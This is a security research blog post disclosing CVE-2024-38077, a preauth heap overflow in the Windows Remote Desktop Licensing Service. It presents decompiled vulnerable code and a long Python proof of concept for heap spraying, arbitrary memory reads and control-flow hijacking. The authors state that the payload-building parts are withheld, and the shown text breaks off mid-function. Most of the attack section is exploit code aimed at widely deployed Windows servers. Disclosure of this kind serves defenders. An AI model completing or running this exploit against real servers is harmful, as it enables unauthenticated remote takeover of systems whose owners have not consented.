Exploiting Vulnerabilities in Remote Desktop Service, Part 1

MadLicense: One bug to Rule Them All, Stably Exploiting a Preauth RCE vulnerability on Windows Server 2025

Backgroud

Earlier this year, we conducted an in-depth analysis of the Windows Remote Desktop Services. Multiple vulnerabilities were discovered, and all related vulnerabilities (56 cases) have been reported to Microsoft. Among them were several Preauth RCE vulnerabilities (Unauthenticated non-sandboxed 0-click RCE) in the Remote Desktop Licensing Service. These vulnerabilities can be used to build multiple Preauth RCE exploitations targeting the Windows Remote Desktop Licensing Service. Yes, they are 0-click preauth RCE you didn't see in Windows for years. We call them the Mad, the Bad, and the Dead Licenses vulnerabilities. This article is the first in a series about these vulnerabilities.

In this article, we introduce the vulnerability CVE-2024-38077 (we name it MadLicense【狂躁许可】), and demonstrate its exploitation on Windows Server 2025 which enabled full and new mitigations. We choose Windows Server 2025 because Microsoft claim Windows Server 2025 delivers next-generation security improvements. And this bug works on Windows Server 2000 to 2025 (all the Windows Server). We will not give technical explanations in detail now, nor will give a full POC. But the pseudocode here is good enough to learn this vulnerability. To prevent abusing, the python code here is actually a pseudocode. You can't even trigger the bug with this pseudocode, let alone exploit it. It will be enough to prove the severity and also give enough time for defender to act on this before someone really figure out how to exploit it. We inform Microsft that this bug is exploitable a month ago, but it still marked as exploitation less likely by Microsoft. So we made a responsible disclosures here. Our aim is to raise awareness of the vulnerability's risks and to encourage users to update their systems promptly to address these issues. Defender can also use information in this blog to detect and block the possible attack.

Introduction

In July 2024, the following 7 RDP-related vulnerabilities that we reported have been fixed by Microsoft:

- CVE-2024-38077: Windows Remote Desktop Licensing Service Remote Code Execution Vulnerability
- CVE-2024-38076: Windows Remote Desktop Licensing Service Remote Code Execution Vulnerability
- CVE-2024-38074: Windows Remote Desktop Licensing Service Remote Code Execution Vulnerability
- CVE-2024-38073: Windows Remote Desktop Licensing Service Denial of Service Vulnerability
- CVE-2024-38072: Windows Remote Desktop Licensing Service Denial of Service Vulnerability
- CVE-2024-38071: Windows Remote Desktop Licensing Service Denial of Service Vulnerability
- CVE-2024-38015: Windows Remote Desktop Gateway (RD Gateway) Denial of Service Vulnerability

Among them, 3 vulnerabilities with a CVSS score of 9.8 for RCE in the Windows Remote Desktop Licensing Service are worth your attention. In Microsoft's advisory, they considered these vulnerabilities unlikely to be exploited. However, this is not the case. In fact, we informed Microsoft of the exploitability of these vulnerabilities before the patch was released.

In this blog, we will demonstrate how a preauth RCE exploitation of CVE-2024-38077 on Windows Server 2025 can bypass all modern mitigations to achieve 0-click RCE on the latest Windows Server. Yes, you heard me right, just by leveraging one vulnerability, you can achieve this without any user interaction.

Remote Desktop Licensing (RDL) Service

Remote Desktop Licensing Service is a component of Windows Server that manages and issues licenses for Remote Desktop Services, ensuring secure and compliant access to remote applications and desktops.

The RDL service is widely deployed on machines that have Remote Desktop Services enabled. By default, the Remote Desktop Services only allows two sessions to be used at a time. To enable multiple simultaneous sessions, you need to purchase licenses. The RDL service is responsible for managing these licenses. Another reason why RDL is widely installed is that when installing Remote Desktop Services (3389) on a Windows server, administrators usually check the option to install RDL. This has caused many servers with 3389 enabled to have RDL services enabled.

Before we audit the RDL service, we conducted a network scan to determine the deployment status of the RDL service across the internet. We found that at least 170,000 active RDL services are directly exposed to the public internet, and the number within the internal network is undoubtedly much larger. Additionally, the RDL service is often deployed within critical business systems and remote desktop clusters, so the preauth RCE vulnerabilities in the RDL service pose a significant threat to the cyber world.

CVE-2024-38077: A Simple Heap Overflow Vulnerability

The Terminal Server Licensing procedure is designed to manage the Terminal Services CALs that are required to connect any user or device to the server.

In the procedure `CDataCoding::DecodeData`, a fixed-size buffer (21 bytes) is allocated and then used to calculate and fill with user-controlled length buffer, causing heap overflow.

here is the call stack and pseudocode.

```windbg
0:012> k
 # Child-SP          RetAddr               Call Site
00 000000b9`d2ffbd30 00007fff`67a76fec     lserver!CDataCoding::DecodeData
01 000000b9`d2ffbd70 00007fff`67a5c793     lserver!LKPLiteVerifyLKP+0x38
02 000000b9`d2ffbdc0 00007fff`67a343eb     lserver!TLSDBTelephoneRegisterLicenseKeyPack+0x163
03 000000b9`d2ffd7d0 00007fff`867052a3     lserver!TLSRpcTelephoneRegisterLKP+0x15b
04 000000b9`d2fff0c0 00007fff`8664854d     RPCRT4!Invoke+0x73
05 000000b9`d2fff120 00007fff`86647fda     RPCRT4!NdrStubCall2+0x30d
06 000000b9`d2fff3d0 00007fff`866b7967     RPCRT4!NdrServerCall2+0x1a
07 000000b9`d2fff400 00007fff`86673824     RPCRT4!DispatchToStubInCNoAvrf+0x17
08 000000b9`d2fff450 00007fff`866729e4     RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x194
09 000000b9`d2fff520 00007fff`86688d4a     RPCRT4!RPC_INTERFACE::DispatchToStub+0x1f4
0a 000000b9`d2fff7c0 00007fff`86688af1     RPCRT4!OSF_SCALL::DispatchHelper+0x13a
0b 000000b9`d2fff8e0 00007fff`86687809     RPCRT4!OSF_SCALL::DispatchRPCCall+0x89
0c 000000b9`d2fff910 00007fff`86686398     RPCRT4!OSF_SCALL::ProcessReceivedPDU+0xe1
0d 000000b9`d2fff9b0 00007fff`86697f4c     RPCRT4!OSF_SCONNECTION::ProcessReceiveComplete+0x34c
0e 000000b9`d2fffab0 00007fff`840377f1     RPCRT4!CO_ConnectionThreadPoolCallback+0xbc
0f 000000b9`d2fffb30 00007fff`867f7794     KERNELBASE!BasepTpIoCallback+0x51
10 000000b9`d2fffb80 00007fff`867f7e37     ntdll!TppIopExecuteCallback+0x1b4
11 000000b9`d2fffc00 00007fff`85b11fd7     ntdll!TppWorkerThread+0x547
12 000000b9`d2ffff60 00007fff`8683d9c0     KERNEL32!BaseThreadInitThunk+0x17
13 000000b9`d2ffff90 00000000`00000000     ntdll!RtlUserThreadStart+0x20
```

```C
```

```
void __fastcall CDataCoding::SetInputEncDataLen(CDataCoding *this)
{
  // ...
  dword_1800D61D0 = 35;
  v1 = log10_0((double)dword_1800D61C8) * 35.0;
  v2 = v1 / log10_0(2.0);
  v3 = (int)v2 + 1;
  v4 = 0;
  if ( v2 <= (double)(int)v2 )
    v3 = (int)v2;
  LOBYTE(v4) = (v3 & 7) != 0;
  LODWORD(dwBytes) = (v3 >> 3) + v4; // dwBytes is a fixed value 21
}
__int64 __fastcall CDataCoding::DecodeData(
        CDataCoding *this,
        const unsigned __int16 *a2,
        unsigned __int8 **a3,
        unsigned int *a4)
{
  // ...
  v4 = 0;
  v8 = 0;
  if ( a3 )
  {
    // dwBytes is a global variable with value 21
    v9 = dwBytes;
    *a3 = 0i64;
    *a4 = 0;
    ProcessHeap = GetProcessHeap();
```

```
v11 = (unsigned __int8 *)HeapAlloc(ProcessHeap, 8u, v9);
v12 = v11;
if ( v11 )
{
  memset_0(v11, 0, (unsigned int)dwBytes);
  while ( *a2 )
  {
    // Str is BCDFGHJKMPQRTVWXY2346789
    // a2 is user-controlled buffer
    v13 = wcschr_0(Str, *a2);
    if ( !v13 )
    {
      v4 = 13;
      v18 = GetProcessHeap();
      HeapFree(v18, 0, v12);
      return v4;
    }
    // here change the integer a2 from base 24 to base 10
    // but does not check the length of a2
    v14 = v13 - Str;
    v15 = v12;
    v16 = (unsigned int)(v8 + 1);
    do
    {
      v17 = dword_1800D61C8 * *v15 + v14;
      *v15++ = v17;
      LODWORD(v14) = v17 >> 8;
      --v16;
    }
```

```
        while ( v16 );
        if ( (_DWORD)v14 )
          v12[++v8] = v14;
        ++a2;
      }
      *a4 = dwBytes;
      *a3 = v12;
    }
    else
    {
      return 8;
    }
  }
  else
  {
    return 87;
  }
  return v4;
}
}
```

 # Pseudocode of POC

Here we just demonstrate the exploitation. Technical explanations in detail will be in the future blog post of this series. And the python code here is actually a pseudocode. You can't even trigger the bug with this pseudocode, let alone exploit it. It will be enough to prove the severity and also give enough time for defender to act on this before someone really figure out how to exploit it.

It Works on:

Windows Server 2025 Standard Version 24H2 (26236.5000.amd64fre.ge_prerelease.240607-1502)

lserver.dll(10.0.26235.5000)

```

```
import struct, hashlib, argparse
from time import sleep
from impacket.dcerpc.v5 import transport, epm
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.ndr import NDRUniConformantArray, NDRPOINTER, NDRSTRUCT, NDRCALL
from impacket.dcerpc.v5.dtypes import BOOL,ULONG, DWORD, PULONG, PWCHAR, PBYTE, WIDESTR, UCHAR, WORD, BBYTE, LPSTR, PUINT, WCHAR
from impacket.uuid import uuidtup_to_bin
from Crypto.Util.number import bytes_to_long
from wincrypto import CryptEncrypt, CryptImportKey
UUID = uuidtup_to_bin(("3d267954-eeb7-11d1-b94e-00c04fa3080d", "1.0"))
TRY_TIMES = 3
SLEEP_TIME = 210
DESCRIPTION = "MadLicense: Windows Remote Desktop Licensing Service Preauth RCE"
dce = None
rpctransport = None
ctx_handle = None
handle_lists = []
leak_idx = 0
heap_base = 0
ntdll_base = 0
peb_base = 0
pe_base = 0
rpcrt4_base = 0
kernelbase_base = 0
def p8(x):
```
```

```
    return struct.pack("B", x)
def p16(x):
    return struct.pack("H", x)
def p32(x):
    return struct.pack("I", x)
def p64(x):
    return struct.pack("Q", x)
class CONTEXT_HANDLE(NDRSTRUCT):
    structure = (
        ("Data", "20s=b"),
    )
    def getAlignment(self):
        return 4
class TLSRpcGetVersion(NDRCALL):
    opnum = 0
    structure = (
        ("ctx_handle", CONTEXT_HANDLE),
        ("version", PULONG),
    )
class TLSRpcGetVersionResponse(NDRCALL):
    structure = (
        ("version", ULONG),
    )
class TLSRpcConnect(NDRCALL):
    opnum = 1
class TLSRpcConnectResponse(NDRCALL):
    structure = (
        ("ctx_handle", CONTEXT_HANDLE),
    )
class TLSBLOB(NDRSTRUCT):
```

```
    structure = (
        ("cbData", ULONG),
        ("pbData", PBYTE),
    )
class TLSCRYPT_ALGORITHM_IDENTIFIER(NDRSTRUCT):
    structure = (
        ("pszObjId", LPSTR),
        ("Parameters", TLSBLOB),
    )
class TLSCRYPT_BIT_BLOB(NDRSTRUCT):
    structure = (
        ("cbData", DWORD),
        ("pbData", PBYTE),
        ("cUnusedBits", DWORD),
    )
class TLSCERT_PUBLIC_KEY_INFO(NDRSTRUCT):
    structure = (
        ("Algorithm", TLSCRYPT_ALGORITHM_IDENTIFIER),
        ("PublicKey", TLSCRYPT_BIT_BLOB),
    )
class PTLSCERT_PUBLIC_KEY_INFO(NDRPOINTER):
    referent = (
        ("Data", TLSCERT_PUBLIC_KEY_INFO),
    )
class TLSCERT_EXTENSION(NDRSTRUCT):
    structure = (
        ("pszObjId", LPSTR),
        ("fCritical", BOOL),
        ("Value", TLSBLOB),
    )
class TLSCERT_EXTENSION_ARRAY(NDRUniConformantArray):
```

```
class TLSCERT_EXTENSION_ARRAY(NDRCONFORMANTARRAY):
    item = TLSCERT_EXTENSION
class PTLSCERT_EXTENSION(NDRPOINTER):
    referent = (
        ("Data", TLSCERT_EXTENSION_ARRAY),
    )
class TLSHYDRACERTREQUEST(NDRSTRUCT):
    structure = (
        ("dwHydraVersion", DWORD),
        ("cbEncryptedHwid", DWORD),
        ("pbEncryptedHwid", PBYTE),
        ("szSubjectRdn", PWCHAR),
        ("pSubjectPublicKeyInfo", PTLSCERT_PUBLIC_KEY_INFO),
        ("dwNumCertExtension", DWORD),
        ("pCertExtensions", PTLSCERT_EXTENSION),
    )
class PTLSHYDRACERTREQUEST(NDRPOINTER):
    referent = (
        ("Data", TLSHYDRACERTREQUEST),
    )
class TLSRpcRequestTermServCert(NDRCALL):
    opnum = 34
    structure = (
        ("phContext", CONTEXT_HANDLE),
        ("pbRequest", TLSHYDRACERTREQUEST),
        ("cbChallengeData", DWORD),
        ("pdwErrCode", DWORD),
    )
class TLSRpcRequestTermServCertResponse(NDRCALL):
    structure = (
        ("cbChallengeData", ULONG),
```

```
        ("pbChallengeData", PBYTE),
        ("pdwErrCode", ULONG),
    )
class TLSRpcRetrieveTermServCert(NDRCALL):
    opnum = 35
    structure = (
        ("phContext", CONTEXT_HANDLE),
        ("cbResponseData", DWORD),
        ("pbResponseData", BBYTE),
        ("cbCert", DWORD),
        ("pbCert", BBYTE),
        ("pdwErrCode", DWORD),
    )
class TLSRpcRetrieveTermServCertResponse(NDRCALL):
    structure = (
        ("cbCert", PUINT),
        ("pbCert", BBYTE),
        ("pdwErrCode", PUINT),
    )
class TLSRpcTelephoneRegisterLKP(NDRCALL):
    opnum = 49
    structure = (
        ("ctx_handle", CONTEXT_HANDLE),
        ("dwData", ULONG),
        ("pbData", BBYTE),
        ("pdwErrCode", ULONG)
    )
class TLSRpcTelephoneRegisterLKPResponse(NDRCALL):
    structure = (
        ("pdwErrCode", ULONG)
```

```
    )
class TLSCHALLENGEDATA(NDRSTRUCT):
    structure = (
        ("dwVersion", ULONG),
        ("dwRandom", ULONG),
        ("cbChallengeData", ULONG),
        ("pbChallengeData", PBYTE),
        ("cbReservedData", ULONG),
        ("pbReservedData", PBYTE),
    )
class PTLSCHALLENGEDATA(NDRPOINTER):
    referent = (
        ("Data", TLSCHALLENGEDATA),
    )
class TLSCHALLENGERESPONSEDATA(NDRSTRUCT):
    structure = (
        ("dwVersion", ULONG),
        ("cbResponseData", ULONG),
        ("pbResponseData", PBYTE),
        ("cbReservedData", ULONG),
        ("pbReservedData", PBYTE),
    )
class PTLSCHALLENGERESPONSEDATA(NDRPOINTER):
    referent = (
        ("Data", TLSCHALLENGERESPONSEDATA),
    )
class TLSRpcChallengeServer(NDRCALL):
    opnum = 44
    structure = (
        ("phContext", CONTEXT_HANDLE),
```

```
        ("dwClientType", ULONG),
        ("pClientChallenge", TLSCHALLENGEDATA),
        ("pdwErrCode", ULONG),
    )
class TLSRpcChallengeServerResponse(NDRCALL):
    structure = (
        ("pServerResponse", PTLSCHALLENGERESPONSEDATA),
        ("pServerChallenge", PTLSCHALLENGEDATA),
        ("pdwErrCode", ULONG),
    )
class TLSRpcResponseServerChallenge(NDRCALL):
    opnum = 45
    structure = (
        ("phContext", CONTEXT_HANDLE),
        ("pClientResponse", TLSCHALLENGERESPONSEDATA),
        ("pdwErrCode", ULONG),
    )
class TLSRpcResponseServerChallengeResponse(NDRCALL):
    structure = (
        ("pdwErrCode", ULONG),
    )
class TLSRpcRegisterLicenseKeyPack(NDRCALL):
    opnum = 38
    structure = (
        ("lpContext", CONTEXT_HANDLE),
        ("arg_1", BBYTE),
        ("arg_2", ULONG),
        ("arg_3", BBYTE),
        ("arg_4", ULONG),
        ("lpKeyPackBlob", BBYTE),
```

```
        ("arg_6", ULONG),
        ("pdwErrCode", ULONG),
    )
class TLSRpcRegisterLicenseKeyPackResponse(NDRCALL):
    structure = (
        ("pdwErrCode", ULONG),
    )
class WIDESTR_STRIPPED(WIDESTR):
    length = None
    def __getitem__(self, key):
        if key == 'Data':
            return self.fields[key].decode('utf-16le').rstrip('\x00')
        else:
            return NDR.__getitem__(self,key)
    def getDataLen(self, data, offset=0):
        if self.length is None:
            return super().getDataLen(data, offset)
        return self.length * 2
class WCHAR_ARRAY_256(WIDESTR_STRIPPED):
    length = 256
class LSKeyPack(NDRSTRUCT):
    structure = (
        ("dwVersion", DWORD),
        ("ucKeyPackType", UCHAR),
        ("szCompanyName", WCHAR_ARRAY_256),
        ("szKeyPackId", WCHAR_ARRAY_256),
        ("szProductName", WCHAR_ARRAY_256),
        ("szProductId", WCHAR_ARRAY_256),
        ("szProductDesc", WCHAR_ARRAY_256),
        ("wMajorVersion", WORD),
```

```
        ("wMinorVersion", WORD),
        ("dwPlatformType", DWORD),
        ("ucLicenseType", UCHAR),
        ("dwLanguageId", DWORD),
        ("ucChannelOfPurchase", UCHAR),
        ("szBeginSerialNumber", WCHAR_ARRAY_256),
        ("dwTotalLicenseInKeyPack", DWORD),
        ("dwProductFlags", DWORD),
        ("dwKeyPackId", DWORD),
        ("ucKeyPackStatus", UCHAR),
        ("dwActivateDate", DWORD),
        ("dwExpirationDate", DWORD),
        ("dwNumberOfLicenses", DWORD),
    )
class LPLSKeyPack(NDRPOINTER):
    referent = (
        ("Data", LSKeyPack),
    )
class TLSRpcKeyPackEnumNext(NDRCALL):
    opnum = 13
    structure = (
        ("phContext", CONTEXT_HANDLE),
        ("lpKeyPack", LPLSKeyPack),
        ("pdwErrCode", ULONG),
    )
class TLSRpcKeyPackEnumNextResponse(NDRCALL):
    structure = (
        ("pdwErrCode", ULONG),
    )
class TLSRpcDisconnect(NDRCALL):
```

```
    opnum = 2
    structure = (
        ("ctx_handle", CONTEXT_HANDLE),
    )
class TLSRpcDisconnectResponse(NDRCALL):
    structure = (
        ("ctx_handle", CONTEXT_HANDLE),
    )
class TLSRpcGetServerName(NDRCALL):
    opnum = 4
    structure = (
        ("ctx_handle", CONTEXT_HANDLE),
        ("serverName", WCHAR),
        ("nameLen", ULONG),
        ("errCode", ULONG),
    )
class TLSRpcGetServerNameResponse(NDRCALL):
    structure = (
        ("serverName", WCHAR),
        ("nameLen", ULONG),
        ("pdwErrCode", ULONG),
    )
def b24encode(data, charmap):
    data = data[::-1]
    data = bytes_to_long(data)
    enc = b""
    while data != 0:
        tmp = data % len(charmap)
        data //= len(charmap)
        enc += charmap[tmp]
```

```
    return enc[::-1]
def spray_lfh_chunk(size, loopsize):
    payload = b"\x00" * size
    reg_lic_keypack = construct_TLSRpcRegisterLicenseKeyPack(payload)
    for _ in range(loopsize):
        dce.request(reg_lic_keypack)
def disconnect(handle):
    global dce
    disconn = TLSRpcDisconnect()
    disconn["ctx_handle"] = handle
    disconn_res = dce.request(disconn)
    ret = disconn_res["ctx_handle"]
    return ret
def handles_free():
    global handle_lists, heap_base
    sleep(7)
    for i in range(0x8):
        handle = handle_lists[0x400 + i * 2]
        disconnect(handle)
        handle_lists.remove(handle)
def spray_handles(times):
    global dce, handle_lists
    handle_lists = []
    for _ in range(times):
        rpc_conn = TLSRpcConnect()
        res_rpc_conn = dce.request(rpc_conn)
        handle = res_rpc_conn["ctx_handle"]
        handle_lists.append(handle)
def spray_fake_obj(reg_lic_keypack, times = 0x300):
    global dce
```

```
    for i in range(times):
        dce.request(reg_lic_keypack)
def construct_TLSRpcTelephoneRegisterLKP(payload):
    global ctx_handle
    print("Hidden to prevent abusing")
    return tls_register_LKP
def construct_overflow_arbread_buf(addr, padding):
    payload = b""
    payload += p64(addr)
    if padding:
        payload += p32(0)
        payload += p32(0)
        payload += p32(1)
    tls_register_LKP = construct_TLSRpcTelephoneRegisterLKP(payload)
    return tls_register_LKP
def construct_overflow_fake_obj_buf(fake_obj_addr):
    payload = b""
    payload += p64(0)
    payload += p32(0)
    payload += p32(1)
    payload += p32(0)
    payload += p32(1)
    payload += p64(fake_obj_addr)
    payload += p8(1)
    tls_register_LKP = construct_TLSRpcTelephoneRegisterLKP(payload)
    return tls_register_LKP
def arb_read(addr, padding = False, passZero = False, leakHeapBaseOffset = 0):
    global leak_idx, handle_lists, dce, ctx_handle
    if leakHeapBaseOffset != 0:
        spray_lfh_chunk(0x20, 0x800)
```

```
else:
    spray_lfh_chunk(0x20, 0x400)
spray_handles(0xc00)
handles_free()
serverName = "a" * 0x10
get_server_name = TLSRpcGetServerName()
get_server_name["serverName"] = serverName + "\x00"
get_server_name["nameLen"] = len(serverName) + 1
get_server_name["errCode"] = 0
if leakHeapBaseOffset != 0:
    tls_register_LKP = construct_overflow_arbread_buf(addr[0], padding)
else:
    tls_register_LKP = construct_overflow_arbread_buf(addr, padding)
pbData = b"c" * 0x10
tls_blob = TLSBLOB()
tls_blob["cbData"] = len(pbData)
tls_blob["pbData"] = pbData
tls_cert_extension = TLSCERT_EXTENSION()
tls_cert_extension["pszObjId"] = "d" * 0x10 + "\x00"
tls_cert_extension["fCritical"] = False
tls_cert_extension["Value"] = tls_blob
pbData2 = bytes.fromhex("3048024100bf1be06ab5c535d8e30a3b3dc616ec084ff4f5b9cfb2a30695ccc6c58c37356c938d3c165d980b07882a35f22ac2e580624cc08a2a3391e5e1f608f94764b27d0203010001")
tls_crypt_bit_blob = TLSCRYPT_BIT_BLOB()
tls_crypt_bit_blob["cbData"] = len(pbData2)
tls_crypt_bit_blob["cbData"] = pbData2
tls_crypt_bit_blob["cUnusedBits"] = 0
tls_blob2 = TLSBLOB()
tls_blob2["cbData"] = 0
tls_blob2["pbData"] = b""
tls_crypto_algorithm_identifier = TLSCRYPT_ALGORITHM_IDENTIFIER()
tls_crypto_algorithm_identifier["pszObjId"] = "1.2.840.113549.1.1.1\x00"
```

```
tls_crypto_algorithm_identifier["pszObjId"] = "1.2.840.113549.1.1.1\x00"
tls_crypto_algorithm_identifier["Parameters"] = tls_blob2
tls_cert_public_key_info = TLSCERT_PUBLIC_KEY_INFO()
tls_cert_public_key_info["Algorithm"] = tls_crypto_algorithm_identifier
tls_cert_public_key_info["PublicKey"] = tls_crypt_bit_blob
encryptedHwid = b"e" * 0x20
hydra_cert_request = TLSHYDRACERTREQUEST()
hydra_cert_request["dwHydraVersion"] = 0
hydra_cert_request["cbEncryptedHwid"] = len(encryptedHwid)
hydra_cert_request["pbEncryptedHwid"] = encryptedHwid
hydra_cert_request["szSubjectRdn"] = "bbb\x00"
hydra_cert_request["pSubjectPublicKeyInfo"] = tls_cert_public_key_info
dwNumCertExtension = 0
hydra_cert_request["dwNumCertExtension"] = dwNumCertExtension
pbResponseData = b"a" * 0x10
pbCert = b"b" * 0x10
count = 0
while True:
    count += 1
    sleep(5)
    try:
        dce.request(tls_register_LKP)
    except:
        pass
    retAddr = 0x0
    for handle in handle_lists[::-1]:
        if padding:
            get_server_name["ctx_handle"] = handle
            res_get_server_name = dce.request(get_server_name)
            err_code = res_get_server_name["pdwErrCode"]
            if (err_code == 0):
```

```
        continue
    rpc_term_serv_cert = TLSRpcRequestTermServCert()
    rpc_term_serv_cert["phContext"] = handle
    rpc_term_serv_cert["pbRequest"] = hydra_cert_request
    rpc_term_serv_cert["cbChallengeData"] = 0x100
    rpc_term_serv_cert["pdwErrCode"] = 0
    rpc_retrieve_serv_cert = TLSRpcRetrieveTermServCert()
    rpc_retrieve_serv_cert["phContext"] = handle
    rpc_retrieve_serv_cert["cbResponseData"] = len(pbResponseData)
    rpc_retrieve_serv_cert["pbResponseData"] = pbResponseData
    rpc_retrieve_serv_cert["cbCert"] = len(pbCert)
    rpc_retrieve_serv_cert["pbCert"] = pbCert
    rpc_retrieve_serv_cert["pdwErrCode"] = 0
    try:
        res_rpc_term_serv_cert = dce.request(rpc_term_serv_cert)
        res_rpc_retrieve_serv_cert = dce.request(rpc_retrieve_serv_cert)
        data = res_rpc_retrieve_serv_cert["pbCert"]
        if b"n\x00c\x00a\x00c\x00n\x00" not in data:
            handle_lists.remove(handle)
            if leak_idx == 0:
                if leakHeapBaseOffset != 0:
                    for i in range(len(data) - 6):
                        retAddr = data[i+4:i+6] + data[i+2:i+4] + data[i:i+2]
                        retAddr = bytes_to_long(retAddr) - leakHeapBaseOffset
                        if retAddr & 0xffff == 0:
                            leak_idx = i
                            print("[+] Find leak_idx: 0x{:x}".format(leak_idx))
                            return retAddr
                else:
                    print("[-] Finding leak idx error!")
```

```
                    exit(-1)
                else:
                    if passZero:
                        data = data[leak_idx:leak_idx+4]
                        retAddr = data[2:4] + data[0:2]
                    else:
                        data = data[leak_idx:leak_idx+6]
                        retAddr = data[4:6] + data[2:4] + data[0:2]
                    retAddr = bytes_to_long(retAddr)
                    return retAddr
            except:
                continue
        if leakHeapBaseOffset != 0:
            if count < len(addr):
                targetAddr = addr[count]
                tls_register_LKP = construct_overflow_arbread_buf(targetAddr, padding)
            else:
                print("G!")
                targetAddr = 0xdeaddeadbeefbeef
                tls_register_LKP = construct_overflow_arbread_buf(targetAddr, True)
        if leakHeapBaseOffset != 0:
            spray_lfh_chunk(0x20, 0x800)
        else:
            spray_lfh_chunk(0x20, 0x400)
        spray_handles(0xc00)
        handles_free()
def construct_fake_obj(heap_base, rpcrt4_base, kernelbase_base, arg1, NdrServerCall2_offset = 0x16f50, OSF_SCALL_offset = 0xdff10, LoadLibraryA_offset = 0xf6de0):
    print("Hidden to prevent abusing")
    payload=0
    fake_obj_addr=0
```

```
    return payload, fake_obj_addr
def construct_TLSRpcRegisterLicenseKeyPack(payload):
    global ctx_handle
    my_cert_exc =
bytes.fromhex("308201363081e5a0030201020208019e2bfac0ae2c30300906052b0e03021d05003011310f300d06035504031e06006200620062301e170d373030363035303923731335a170d343930363035303923731335
a3011310f300d06035504031e06006200620062305c300d06092a864886f70d0101010500034b003048024100b122dfa634ad803cbf0c1133986e7e551a036a1dfd521cd613c4972cd6f096f2a3dd0b8f80b8a26909137225134ec
9d98b3acffd79c665061368c217613aba050203010001a3253023300f0603551d13040830060101ff020100301006082b06010401823712040401020300300906052b0e03021d05000341003f4ceda402ad607b9d1a38095efe252
11010feb1e5a30fe5af6705c2e53a19949eaf50875e2e77c71a9b4945d631360c9dbec1f17d7e096c318547f8167d840e")
    my_cert_sig =
bytes.fromhex("3082036406092a864886f70d010702a0820355308203510201013100300b06092a864886f70d010701a0820339308201363081e5a0030201020208019e2bfac0ab6d10300906052b0e03021d05003011310f300
d06035504031e06006200620062301e170d373030363035303923731335a170d343930363035303923731335a3011310f300d06035504031e06006200620062305c300d06092a864886f70d0101010500034b003048024100b12
2dfa634ad803cbf0c1133986e7e551a036a1dfd521cd613c4972cd6f096f2a3dd0b8f80b8a26909137225134ec9d98b3acffd79c665061368c217613aba050203010001a3253023300f0603551d13040830060101ff02010030100
6082b06010401823712040401020300300906052b0e03021d05000341009fd29b18115c7ef500a2ee543a4bb7528403ccb4e9fe7fe3ac2dcbf9ede68a1eca02f97c6a0f3c2384d85ab12418e523db90958978251e28d0e7903829e
46723308201fb308201a9a0030201020208019e2bfac0ab6d10300906052b0e03021d05003011310f300d06035504031e06006200620062301e170d373030363035303923731335a170d343930363035303923731335a300d310
b3009060355040313026100308201220300d06092a864886f70d01010105000382010f003082010a0282010100e05a714323273db5f17c731e7db3b07397cf08a6d614484ab715793af931376622e3b86820ddb26ea763636c55092
c712296da18049fd7e61b4429b1a14a85ab4567639c2d2fbc6098893ed9c553fb14f9f488f6ffa38f9ee3aaf44888981bdec21e7d617e6c7fc019e8f896098eb76470d56c4666c015f784f172aa7b4999c6fdc48e6e2a4cdaf256d
69fcdd14cc82d50eb5a4e48a810679f97a5f6a933dd12e63159a72c1b3ba8c7e59af0dabdcc40f2489df6335f74614b1d2b9016644a12bce70e7470977a6e5025e9251dc4300d6ef39860cad59b06a9b81a27491e83ea826a505c3
c756df9529e538259c004a832a67783893486171d3a075db49026e90203010001a3253023300f0603551d13040830060101ff020100301006082b06010401823712040401020300300906052b0e03021d05000341004b949db70bb
077d19adfc707c20420afb99ae1f0a3e857ab4e3f085fe2c84b539412f4235dce03a53a43ddaa76adf7cc32e36af7b8e4e31707f881241d6bf36b3100")
    TEST_RSA_PUBLIC_MSKEYBLOB = bytes.fromhex("080200001066000020000000c61b815f961a35c688b5af232f81158c3a21f95ec897a6efa41d5b23bcf0387e")
    data = b"\x00" * 0x3c
    data += p32(len(payload))
    data += payload
    data += b"\x00" * 0x10
    rsa_pub_key = CryptImportKey(TEST_RSA_PUBLIC_MSKEYBLOB)
    encrypted_data = CryptEncrypt(rsa_pub_key, data)
    key = TEST_RSA_PUBLIC_MSKEYBLOB
    data = encrypted_data
    payload = b""
    payload += p32(len(key))
```

```
    payload += key
    payload += p32(len(data))
    payload += data
    reg_lic_keypack = TLSRpcRegisterLicenseKeyPack()
    reg_lic_keypack["lpContext"] = ctx_handle
    reg_lic_keypack["arg_1"] = my_cert_sig
    reg_lic_keypack["arg_2"] = len(my_cert_sig)
    reg_lic_keypack["arg_3"] = my_cert_exc
    reg_lic_keypack["arg_4"] = len(my_cert_exc)
    reg_lic_keypack["lpKeyPackBlob"] = payload
    reg_lic_keypack["arg_6"] = len(payload)
    reg_lic_keypack["pdwErrCode"] = 0
    return reg_lic_keypack
def construct_TLSRpcKeyPackEnumNext(handle):
    pLSKeyPack = LSKeyPack()
    pLSKeyPack["dwVersion"] = 1
    pLSKeyPack["ucKeyPackType"] = 1
    pLSKeyPack["szCompanyName"] = "a" * 255 + "\x00"
    pLSKeyPack["szKeyPackId"] = "a" * 255 + "\x00"
    pLSKeyPack["szProductName"] = "a" * 255 + "\x00"
    pLSKeyPack["szProductId"] = "a" * 255 + "\x00"
    pLSKeyPack["szProductDesc"] = "a" * 255 + "\x00"
    pLSKeyPack["wMajorVersion"] = 1
    pLSKeyPack["wMinorVersion"] = 1
    pLSKeyPack["dwPlatformType"] = 1
    pLSKeyPack["ucLicenseType"] = 1
    pLSKeyPack["dwLanguageId"] = 1
    pLSKeyPack["ucChannelOfPurchase"] = 1
    pLSKeyPack["szBeginSerialNumber"] = "a" * 255 + "\x00"
    pLSKeyPack["dwTotalLicenseInKeyPack"] = 1
```

```
    pLSKeyPack["dwProductFlags"] = 1
    pLSKeyPack["dwKeyPackId"] = 1
    pLSKeyPack["ucKeyPackStatus"] = 1
    pLSKeyPack["dwActivateDate"] = 1
    pLSKeyPack["dwExpirationDate"] = 1
    pLSKeyPack["dwNumberOfLicenses"] = 1
    rpc_key_pack_enum_next = TLSRpcKeyPackEnumNext()
    rpc_key_pack_enum_next["phContext"] = handle
    rpc_key_pack_enum_next["lpKeyPack"] = pLSKeyPack
    rpc_key_pack_enum_next["pdwErrCode"] = 0
    return rpc_key_pack_enum_next
def hijack_rip_and_rcx(heap_base, rpcrt4_base, kernelbase_base, arg1):
    global handle_lists, dce
    payload, fake_obj_addr = construct_fake_obj(heap_base, rpcrt4_base, kernelbase_base, arg1)
    print("[+] Calculate fake_obj_addr: 0x{:x}".format(fake_obj_addr))
    reg_lic_keypack = construct_TLSRpcRegisterLicenseKeyPack(payload)
